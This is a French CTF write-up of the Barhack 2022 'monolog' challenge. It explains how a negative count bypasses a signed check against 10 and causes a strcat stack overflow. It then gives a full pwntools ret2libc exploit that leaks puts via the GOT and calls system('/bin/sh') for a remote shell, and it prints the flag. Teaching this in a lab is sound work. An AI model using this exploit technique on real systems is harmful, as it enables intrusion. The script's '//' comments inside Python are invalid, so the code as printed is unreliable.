Hacker Challenge

Barhack 2022 - Write Up Reverse - Monolog

Voici le write up du challenge de reverse monolog de la Barhack2022.

Le challenge

Voici le write up du challenge de reverse monolog de la Barhack2022.

On nous a passé un exécutable linux 32 bits, ainsi qu’une IP et un port sur lequel ce dernier tourne. Une libc nous est aussi passée (libc-2.31.so).

Lorsque l’on s’y connecte, il nous demande un nombre pour savoir combien d’entrées utilisateur prendre, puis l’écrit.

Fonctionnement normal

Premiers pas

La fonction main lance directement la fonction monolog:

Fonction main

On remarque par ailleurs l’utilisation de strcat qui est connue pour permettre des buffer overflow:

Man de strcat

Reverse

Dans la fonction monolog, le programme va demander un nombre, et le comparer à 10. Si le nombre est supérieur, il s’arrête.

demande d’un nombre

Ensuite, il va demander un bloc de 100 caractères et le concaténer à un buffer à ebp-0x3f4 tant qu’un compteur interne n’atteint pas la valeur indiquée au dessus:

Entrée utilisateur

strcat dangereux

Si la ligne stop est envoyée, le programme quitte la boucle, affiche la chaine qui a été concaténée (ebp-0x3f4) et s’arrête:

comparaison avec stop

arrêt du programme

Exploitation

Dans la comparaison si dessus, on remarque qu’il y a la comparaison entre 10 et le nombre que l’on rentre. Cependant, il n’y a pas vérification sur le signe lors de la comparaison: Si le nombre est négatif (par exemple, -1), il va passer le test d’infériorité et on pourra envoyer 4294967295 blocs de taille 100 et donc overflow avec le strcat.

En terme de protection, il y a

  • ASLR
  • Partial RELRO
  • Pas de canary
  • NX
  • No PIE
checksec

Pour exploiter le code, on va envoyer -1 pour passer la comparaison, et réécrire l’adresse de retour, puis envoyer une ROP. Il faudra envoyer 1016 éléments dans le buffer (0x3f4 + 4 pour réecrire l’adresse de retour qui est juste après ebp dans la pile).
Ici, j’ai choisi de leak une adresse de la libc, et d’appeler system(‘/bin/sh’).

Voici le code d’exploitation:

from pwn import *

r = remote('monolog.brb',1302)
r.recvline()

puts = 0x08049090       //adresse de puts pour afficher les adresses
main = 0x080491d2       //adresse de retour
reloc_puts = 0x0804c024 //adresse de puts dans la GOT

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016 //0x3f4 + 4 = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64) //Remplissage du buffer
    r.recvline()

//Leak d'une fonction de la libc pour retirer l'aslr

payload = p32(puts)+p32(main)+p32(reloc_puts) //puts(reloc_puts), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
leaked_puts = int.from_bytes(r.recvrepeat(0.1).split(b'\n\n')[2][:4], 'little') //Récupération de l'adresse de puts dans la libc
libc_puts = 0x00070460   //adresse de puts dans la libc
libc_system = 0x00045040 //adresse de system dans la libc
libc_bin_sh = 0x0018c338 //adresse de /bin/sh dans la libc
libc_start = leaked_puts-libc_puts //Calcul de l'adresse de début de la libc

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64)
    r.recvline()

//Ret2libc

payload = p32(libc_start+libc_system)+p32(main)+p32(libc_start+libc_bin_sh) //system('/bin/sh'), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
r.interactive()

On obtient alors un shell.

En local:

shell

Flag

brb{b3_c4r3ful_w17h_516n3d_1n7}

Bdenneu
Bdenneu
|
Ingénieur Sécurité

Yolo

Que savent les hackers sur votre entreprise ?
Faire le test